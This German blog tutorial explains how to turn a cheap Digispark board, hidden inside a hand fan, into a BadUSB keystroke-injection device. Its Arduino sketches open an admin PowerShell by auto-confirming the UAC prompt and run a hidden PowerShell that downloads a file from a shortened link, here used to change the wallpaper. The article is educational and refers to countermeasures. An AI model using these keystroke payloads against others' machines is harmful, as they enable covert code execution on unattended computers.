Tobias Scheible Cyber Security & IT-Forensik Dozent
Digispark - Variante Pro und Mini

Digispark – günstiges BadUSB Device

Der USB-Controller des Digispark kann als virtuelle Tastatur fungieren, damit lassen sich mit dem Arduino-kompatiblen Board BadUSB-Angriffsszenarien realisieren. Gleichzeitig ist er kleiner und günstiger als der bekannte Rubber Ducky.

Dienstag, 01. Oktober 2019
0 Kommentare

Der Digispark des Anbieters Digistump ist ein Attiny85-basiertes Mikrocontroller-Entwicklungsboard mit sehr kleinen Abmessungen. Das Board ist Arduino- kompatibel, das heißt, es kann über die Arduino IDE programmiert werden. Da der USB-Controller des Digispark auch als Tastatur fungieren kann, kann mit diesem Board ein BadUSB-Angriffsszenario umgesetzt werden. Durch die große Popularität gibt es mittlerweile auch einige Clone, die noch günstiger sind. Die Boards kosten derzeit je nach Händler und je nachdem, wie viele Module abgenommen werden, zwischen 2 und 6 Euro. Erhältlich sind sie bei vielen Online-Händlern – darunter auch Amazon und Ebay.

Das Digispark-Bord besitzt einen USB-Stecker, wodurch es ohne Kabel an einen Rechner angeschlossen werden kann. Durch die kleine Größe besitzt er nur wenige Pins, allerdings können darüber viele verschiedene Schnittstellen (z.B. I2C, SPI, USI, PWM, ADV) abgebildet werden. Eine eigebaute LED zeigt den Status bei einer Stromverbindung an und eine zweite LED kann frei programmiert werden und dient zum Beispiel dazu, ein Feedback zu geben.

Digispark attiny85 Entwicklerboard
Digispark USB Development Board mit BadUSB
Digispark USB Development Board Digispark USB Development Board mit BadUSB

Der Digispark ist nicht so robust wie ein vollwertiger Arduino, da er über keinen Kurzschluss- oder Verpolungsschutz verfügt. Daher sollte bei eigenen Schaltungen sehr vorsichtig vorgegangen werden. Beim Testen einer neuen Schaltung sollte diese zuerst mit einem externen Netzteil getestet werden. Wenn ein Kurzschluss verursacht wird und der Digispark an einen Rechner angeschlossen wird, kann dies den Computer und/oder seine USB-Anschlüsse beschädigen. Für die BadUSB-Funktion muss dies nicht beachtet werden, da keine zusätzlichen Bauteile angeschlossen werden.

Einrichtung

Arduino IDE

Die Arduino Integrated Development Environment (IDE) ist eine plattformübergreifende Anwendung (Windows, Linux und macOS), die in der Programmiersprache Java entwickelt worden ist. Sie beinhaltet einen Code-Editor und bietet einfache Mechanismen zum Kompilieren und Hochladen von Programmen auf ein Entwicklerboard mit Microcontroller. Dadurch, dass neue Boards, die nicht selbst von Arduino hergestellt werden, hinzugefügt werden können, hat sich die Arduino IDE zur universellen Plattform für die Programmierung von Microcontroller entwickelt.

Installation

Laden Sie als Erstes die Arduino IDE für Ihr Betriebssystem herunter. Wenn Sie Windows benutzen, können Sie die erste Variante „Windows Installer, for Windows XP and up“ auswählen. Klicken Sie auf der nächsten Seite auf den Link „JUST DOWNLOAD“, der sich unten links neben dem Button befindet, um den Download zu starten. Nachdem der Download abgeschlossen ist, installieren Sie die Arduino IDE entsprechend der Anleitung (Windows, Linux und macOS).

Treiber

Unter Windows muss zusätzlich noch der Treiber für den Digispark installiert werden. Die neuste Version kann von Github heruntergeladen werden. Es ist eine ZIP-Datei mit dem Namen „Digistump.Drivers.zip“. Laden Sie die Datei herunter, entpacken Sie sie und führen Sie die Datei „Install Drivers.exe“ (auf 32bit-Systemen) oder „DPInst64.exe“ (auf 64bit-Systemen) aus.

Voreinstellungen

Starten Sie nun die Arduino IDE. Um den Digispark zu programmieren, muss das Board hinzugefügt werden. Gehen Sie dazu in der Menüleiste auf „Datei“ und wählen den Punkt „Voreinstellungen“ aus. Im unteren Bereich des Dialogs gibt es den Punkt „Zusätzliche Boardverwalter-URLs:“ mit einem Eingabefeld. In dieses Eingabefeld muss der folgende Eintrag hinzugefügt werden:

http://digistump.com/package_digistump_index.json

Ist hier bereits ein Eintrag vorhanden, kann auf das Icon ganz rechts geklickt werden und die URL in das Eingabefenster eingetragen. Jede URL muss in einer extra Zeile stehen. Danach kann das Fenster „Voreinstellungen“ mit einem Klick auf den Button „OK“ rechts unten geschlossen werden.

Boardverwalter

Digistump AVR Baords

Jetzt muss das Softwarepaket für das Digispark Board hinzugefügt werden. Klicken Sie dafür auf den Menüpunkt „Werkzeuge“ und gehen dann im Menü auf den Punkt „Board …“ und wählen dort im Untermenü den obersten Punkt „Boardverwalter…“ aus. Geben Sie in das nun erscheinende Fenster oben in das Suchfeld „Digispark“ ein. Als Ergebnis erscheint der Eintrag „Digistump AVR Baords“. Klicken Sie auf den Button „Installieren“, um das Board hinzuzufügen. Nach der Installation können Sie das Fenster schließen.

Nun ist der Digispark im Menü verfügbar. Um ihn auszuwählen, wählen Sie im Menü wieder den Punkt „Werkzeuge“ aus und gehen auf den Unterpunkt „Board: …“. Dort sind jetzt mehrere Einträge für den Digispark vorhanden. Wählen Sie den ersten Eintrag „Digispark (Default – 16.5mhz)“ aus. Dies sollte mit den meisten Boards kompatibel sein. Sollte es doch Probleme geben, können Sie die anderen Einträge probieren.

Programmierung

Die Programmierung des Digispark erfolgt in der Arduino IDE in einer an C bzw. C++ angelehnten Syntax, wobei technische Details wie Header-Dateien weitgehend verborgen werden und umfangreiche Libraries automatisch eingebunden werden. Jedes Skript besitzt den folgenden Aufbau:

void setup() {
 // Befehle werden nur einmal ausgeführt
}
void loop() {
  // Befehle werden unendlich (d.h. in einer Endlosschleife) ausgeführt
}

Erster Test

Im ersten Beispiel lassen wir die integrierte LED blinken. Dazu muss in der setup()-Funktion der Pin der LED (1) als Ausgabe (Output) gesetzt werden. In der loop()-Funktion wird der Pin auf HIGH gesetzt, also stromleitend. Nach einer Wartezeit von 500 Millisekunden mit dem delay-Befehl wird der Strom mit LOW wieder ausgeschaltet. Danach erfolgt wieder eine Pause von 500 Millisekunden, da ansonsten die LED gleich wieder angehen würde. Sie können mit den Werten experimentieren und die LED schneller oder langsamer blinken lassen.

void setup(){                  
    pinMode(1, OUTPUT);  
}  
      
void loop(){  
    digitalWrite(1, HIGH);  
    delay(500);  
    digitalWrite(1, LOW);   
    delay(500);  
}  

Fügen Sie den Code in die Arduino IDE ein und klicken Sie oben auf das Icon mit dem grünen Pfeil nach rechts „Hochladen“. Als Erstes wird das Skript für den Digispark kompiliert. Nachdem der Vorgang abgeschlossen ist, erscheint unten im schwarzen Bereich die Meldung „Plug in device now… (will timeout in 60 seconds)“ in roter Schrift. Schließen Sie nun den Digispark an Ihren Rechner an. Nach der Übertragung erscheint die Meldung „>> Micronucleus done. Thank you!“ und die zweite LED des Digispark fängt an zu blinken. Glückwunsch – Sie haben ihr erstes Skript auf den Digispark geladen.

Textausgabe

In der Standardkonfiguration nutzt der Digispark das englischsprachige Tastaturlayout. Dadurch kann es zu Problemen bei der Verwendung von Sonderzeichen kommen, da bei einer Programmierung mit einer deutschen Tastatur das englische Äquivalent der Zeichen verwendet wird. Auf GitHub gibt es einen Fork des DigiStump AddOns „DigistumpArduino – Germanized Keyboard Library“. Hier kann einfach die Header-Datei „DigiKeyboardDe.h“ genutzt werden. Sie muss heruntergeladen und im selben Ordner wie die „.ino“ Arduino-Datei abgelegt werden.

Nun erstellen wir die erste Ausgabe mit der virtualisierten Tastatur. Als erster Eintrag wird die Header-Datei „DigiKeyboardDe.h“ eingebunden. Dadurch stehen uns die Funktionsaufrufe „DigiKeyboardDe.print()“, erzeugt eine Ausgabe, und „DigiKeyboardDe.println()“, erzeugt nach der Ausgabe einen Umbruch, zur Verfügung. Wird das nachfolgende Beispiel auf den Digispark geladen, gibt die virtuelle Tastatur alle 2 Sekunden den Text „Hello World XYZ !\“§$%&/()=? [] {}<>!” aus bzw. auf der virtuellen Tastatur ein. Um die Ausgabe zu sehen, sollte ein Texteditor geöffnet werden.

#include "DigiKeyboardDe.h"  
void setup(){  
}  
void loop() {  
    DigiKeyboardDe.print("Hello World);  
    DigiKeyboardDe.println(" XYZ !\"§$%&/()=? [] {}<>!");  
    DigiKeyboard.delay(2000);  
}
Integrierte Beispiele

Weitere Beispiele sind direkt in der Arduino IDE verfügbar. Sie finden sie im Menüpunkt „Datei“, im Untermenüpunkt „Beispiele“. Dort gibt es dann eine spezielle Kategorie mit allen Beispiel-Codes für den Digispark. Zum Teil erfordern sie allerdings weitere Hardware. Die integrierten Beispiele bieten aber eine gute Grundlage, um den Funktionsumfang des Digispark kennenzulernen.

Digispark Beispiele

Nachdem wir uns ein paar einfache Beispiele angeschaut haben, wenden wir uns nun den BadUSB-Funktionen für den Digispark zu. Um mit Tastenkürzel Programme zu starten oder ein Menü zu öffnen, werden die Sondertasten wie STRG, ALT oder die Windows-Taste benötigt. Diese besitzen eine spezielle Bezeichnung, die immer mit MOD_ anfängt. Die nachfolgende Auflistung zeigt die zur Verfügung stehenden Tasten:

  • Strg (links) MOD_CONTROL_LEFT
  • Shift (links) MOD_SHIFT_LEFT
  • ALT (links) MOD_ALT_LEFT
  • Windows MOD_GUI_LEFT
  • Strg (rechts) MOD_CONTROL_RIGHT
  • Shift (rechts) MOD_SHIFT_RIGHT
  • Alt (rechts) MOD_ALT_RIGHT
  • Kontextmenü MOD_GUI_RIGHT

Taschenrechner öffnen

In diesem Beispiel wird er Taschenrechner unter Windows mit dem Digispark gestartet. Da wir die Aktion nur einmal ausführen möchten, schreiben wir die Befehle in die setup()-Funktion. Die Grundlagen zum Starten von Programmen mit der Tastatur unter Windows stellt das Dialogfenster „Ausführen“ dar. Dieser kann mit der Tastenkombination Windows- und R-Taste aufgerufen werden. Um eine Tastenkombination mit dem Digispark auszuführen, wird die Funktion „DigiKeyboardDe.sendKeyStroke()“ verwendet. Hier können mehrere Tasten mit einem Komma getrennt angegeben werden. Normale Tasten (a-z, A-Z, 0-9 und F-Tasten) wird ein „KEY_“ vorangestellt. Die Pause am Anfang ist notwendig, da die Betriebssysteme eine gewisse Zeit brauchen, bis sie ein neu angeschlossenes Gerät initialisiert haben und verwendet werden kann. Zwischen Tastenkombinationen und einer weiteren Eingabe sollte auch eine Pause eingefügt werden, da die Dialogfenster eine kurze Zeit zum Öffnen brauchen. Und „DigiKeyboardDe.println()“ sorgt mit dem automatischen Umbruch am Ende dafür, dass wir die Enter Taste nicht extra drücken müssen.

#include "DigiKeyboardDe.h"  
void setup(){  
    DigiKeyboardDe.delay(3000);
    DigiKeyboardDe.sendKeyStroke(KEY_R, MOD_GUI_LEFT);  
    DigiKeyboardDe.delay(200); 
    DigiKeyboardDe.println("calc");  
}  
void loop(){  
} 

Mit diesem kleinen BadUSB-Skript kann ungewollt den Taschenrechner geöffnet werden.

Website aufrufen

Im nächsten Beispiel wollen wir mit dem Digispark eine Website aufrufen und den Webbrowser in den Vollbild-Modus schalten. Hier können wir die Funktion von Windows nutzen, indem einfach eine URL im Ausführen-Dialog eingegeben werden kann, um sie im Standard Webbrowser zu öffnen. Anschließend muss nur noch die Taste F11 gedrückt werden, um den Vollbild Modus zu aktivieren. Das klappt in fast allen Webbrowsern.

#include "DigiKeyboardDe.h"  
void setup(){  
    DigiKeyboardDe.delay(3000);
    DigiKeyboardDe.sendKeyStroke(KEY_R, MOD_GUI_LEFT);  
    DigiKeyboardDe.delay(200); 
    DigiKeyboardDe.println("https://scheible.it"); 
    DigiKeyboardDe.delay(1000); 
    DigiKeyboardDe.sendKeyStroke(KEY_F11);
}  
void loop(){  
} 

PowerShell öffnen

In diesem Beispiel wollen wir die PowerShell mit Adminrechten öffnen. Um unter Windows ein Programm mit den Rechten des Administrators zu starten, muss als Erstes der Namen ganz normal in den Ausführen-Dialog geschrieben werden. Danach erfolgt keine Bestätigung mit der ENTER-Taste, sondern ein ENTER in der Kombination mit SHIFT und STRG. Anschließend muss nur noch im darauffolgenden Admin Dialog einmal die Pfeiltaste nach links gedrückt werden und mit Enter bestätigt werden. Das funktioniert natürlich nur, wenn kein extra Passwort für den Administrator gesetzt wird.

#include "DigiKeyboardDe.h"

void setup(){
  DigiKeyboardDe.delay(3000);
  DigiKeyboardDe.sendKeyStroke(KEY_R, MOD_GUI_LEFT);  
  DigiKeyboardDe.delay(200);
  DigiKeyboardDe.print("powershell");
  DigiKeyboardDe.delay(100);
  DigiKeyboardDe.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
  DigiKeyboard.delay(200);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop(){
}

Hintergrund ändern

Im letzten Beispiel für den Digispark wird das Hintergrundbild unter Windows geändert. Dazu wird wieder der Ausführen-Dialog aufgerufen und darüber versteckt die Powershell mit dem Paramter „-windowstyle hidden“ Kurzform „-w h“, gestartet. Um ein anderes Foto zu verwenden, muss nur der Bitly-Link ausgetauscht werden. Sobald die Entertaste gedrückt wird und der Ausführen-Dialog wieder geschlossen wird, kann der Digispark abgezogen werden, die Befehle werden noch weiterhin im Hintergrund ausgeführt.

#include "DigiKeyboardDe.h"

void setup() {
  DigiKeyboardDe.delay(3000);
  DigiKeyboardDe.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboardDe.delay(200);
  DigiKeyboardDe.println("powershell -w h iwr -Uri https://bit.ly/2Zm2d0b -OutFile c:\\windows\\temp\\b.jpg;sp 'HKCU:Control Panel\\Desktop' WallPaper 'c:\\windows\\temp\\b.jpg';1..30|%{RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True;sleep 1}");
}

void loop(){
}

Weitere Ressourcen

Wer für den Rubber Ducky bereits BadUSB-Skripte erstellt hat, kann das Tool duck2spark zur Konvertierung verwenden. Es wandelt „Ducky Script“ in Digispark- kompatible Dateien inklusive Unterstützung für die deutsche Sprache um.

Hier noch einige hilfreiche Links zum Thema Digispark:

Getarnte USB-Geräte

BadUSB-Ventilator

Das typische Angriffsszenario für BadUSB ist nicht, dass der Digispark von einem Angreifer selbst eingesteckt wird, sondern dass ein Benutzer verleitet wird, ein manipuliertes Gerät einzustecken. Um dieses Szenario in meinen Veranstaltungen auch vorzuführen, habe ich einen Digispark in einen kleinen Handventilator integriert und damit einen BadUSB-Ventilator geschaffen.

BadUSB Ventilator
BadUSB-Ventilator – Digispark als Ventilator getarnt
BadUSB mit Gehäuse BadUSB-Ventilator – Digispark als Ventilator getarnt

Dazu habe ich mir einen mit Batterien betriebenen Handventilator gekauft, damit im Gehäuse genügend Platz vorhanden ist, um einen Digispark zu integrieren. Der Ventilator wird mit einer Schraube zusammengehalten und nachdem zwei Clips zur Seite gebogen wurden, konnte er geöffnet werden. In die untere Batterieabdeckung habe ich ein Loch gebohrt und ein altes abgeschnittenes USB-Kabel durchgeführt. Damit es nicht herausrutschen kann und damit auch später nicht direkt am Digispark gezogen werden kann, habe ich das Kabel mit einem Knoten gesichert. Anschließend habe ich die einzelnen Adern des USB-Kabels abisoliert und an die entsprechenden USB-Kontakte auf dem Digispark gelötet. Die Stromkabel des Ventilators am Batteriehalter habe ich abgelötet und die Batteriekontakte entfernt, damit es zu keinem Kurzschluss kommen kann, und anschließend die Kabel wieder mit den Pins des Digispark verbunden.

Jetzt kann der Ventilator/Digispark über das USB-Kabel an einen Rechner angeschlossen und ein Programm übertragen werden. Als Beispiel lasse ich meine Website öffnen und setze den Pin für den Ventilator auf stromführend. Damit funktioniert der Hardwarebutton des BadUSB-Ventilators auch weiterhin.

Ähnliche Boards

Clones

Durch die Popularität des Digispark wurden andere Boards mit der gleichen Funktionalität veröffentlicht. Diese Kopien sehen zum Teil exakt gleich aus, besitzen nur nicht den Digispark Schriftzug.

Digispark Clones
Ähnliche Boards wie der Digispark
Hackking Tool Digispark Ähnliche Boards wie der Digispark
Beetle

Ein weiteres verwandtes Board verwendet den leistungsstärken Prozessor Atmega32U4, der auch im Arduino Micro und Arduino Leonardo Verwendung findet. Diese werden häufig als „Beetle“ bezeichnet. Durch den gleichen Chip wie die Arduino Produkte werden sie direkt in der Arduino IDE unterstützt, ohne zusätzliche Erweiterungen. Es können direkt die Tastatur-Befehle wie Keyboard.print() von Arduino verwendet werden. Für die Sondertasten steht die Funktion Keyboard.press() zur Verfügung.

Das nachfolgende Beispiel zeigt, wie eine Website geöffnet werden kann. Für die Unterstützung des deutschen Tastaturlayouts wurde die „Keyboard_DE.h“ von BesoBerlin verwendet. Als Board muss der Arduino Leonardo ausgewählt werden, auch wenn der Stick als Arduino Micro erkannt worden ist.

#include "Keyboard_DE.h"

void setup() {
  Keyboard.begin();
  delay(2000);
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();
  delay(200);
  Keyboard.print("https://scheible.it");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
}

void loop() {
}
Gehäuse

Ebenfalls steht eine Variante mit dem Prozessor Atmega32U4 in einem USB-Gehäuse zur Verfügung. Mit einem Preis von ca. 7 Euro ist es sehr günstig und kann viele BadUSB-Einsatzszenarien abdecken.

Fazit Digispark

Der Digispark ist eine kostengünstige Alternative zum Rubber Ducky. Durch die Kompatibilität mit der Arduino IDE und den zur Verfügung stehenden Pins lassen sich viele weitere Anwendungsszenarien, wie der BadUSB-Ventilator, mit dem Digispark abdecken. Dadurch dass er kein Gehäuse besitzt, kann er sehr einfach in ein anderes Gehäuse integriert werden. Auf der anderen Seite eignet er sich dadurch aber weniger für Penetrationstests, da solch eine Platine von keinem Benutzer eingesteckt werden würde.

Gegenmaßnahmen

Schutzmöglichkeiten gegen BadUSB-Angriffe habe ich im zentralen Artikel der Artikelserie im Abschnitt „Gegenmaßnahmen“ beschrieben.

USB Artikelserie

Dieser Artikel ist Teil der Artikelserie Angriffe per USB, die dem Themenschwerpunkt Hacking Hardware angehört. In dieser Artikelserie beschreibe ich verschiedene Arten von Angriffsmethoden über die USB-Schnittstelle, damit diese erkannt und effektive Gegenmaßnahmen getroffen werden können.

Über Tobias Scheible

Tobias Scheible

Hallo, mein Name ist Tobias Scheible. Ich bin begeisterter Informatiker und Sicherheitsforscher mit den Schwerpunkten Cyber Security und IT-Forensik. Mein Wissen teile ich gerne anhand von Fachartikeln hier in meinem Blog. Als Referent halte ich Vorträge und Workshops für Verbände und Unternehmen u. a. auch offene Veranstaltungen für den VDI und die IHK.

Kommentare

Es wurde noch kein Kommentar abgegeben.

Schreibe einen Kommentar!

Hilfe zum Kommentieren

Um kommentieren zu können, geben sie bitte mindestens ihren Namen und ihre E-Mail-Adresse an. Bitte nutzen Sie die Kommentarfunktion nicht dazu, andere zu beleidigen oder Spam zu verbreiten. Trolle und Spammer sind hier unerwünscht! Unangemessene Kommentare, die zum Beispiel gegen geltendes Recht verstoßen oder eine Gefährdung anderer Besucher darstellen, werden gelöscht oder angepasst.

Name: Ihr Name, der oberhalb des Kommentars steht, gerne auch Ihren echten Namen, das erleichtert die Kommunikation für alle. Sollte ein Spam-Keyword als Name verwendet werden, kann dieses entfernt oder korrigiert werden.

E-Mail: Ihre E-Mail Adresse dient zur Identifizierung weiterer Kommentare und sie haben die Möglichkeit, ein Avatar-Bild zu verwenden. Dazu müssen Sie mit Ihrer E-Mail Adresse bei Gravatar angemeldet sein. Die E-Mail Adresse wird natürlich nicht veröffentlicht und nicht weitergegeben.

Website: Hier können Sie ihren eigenen Blog bzw. ihre eigene Website eintragen, dadurch wird Ihr Name und Ihr Avatar-Bild verlinkt. Werden rein kommerzielle Angebote offensichtlich beworben, setze ich den Link auf nofollow und unangemessene werden einfach entfernt.

Erlaubte HTML-Tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong> <hr> <big> <small> <sub> <sup> <u>

Ihre E-Mailadresse wird nicht veröffentlicht. Mit dem Absenden anerkennen Sie die Datenschutzerklärung des Blogs.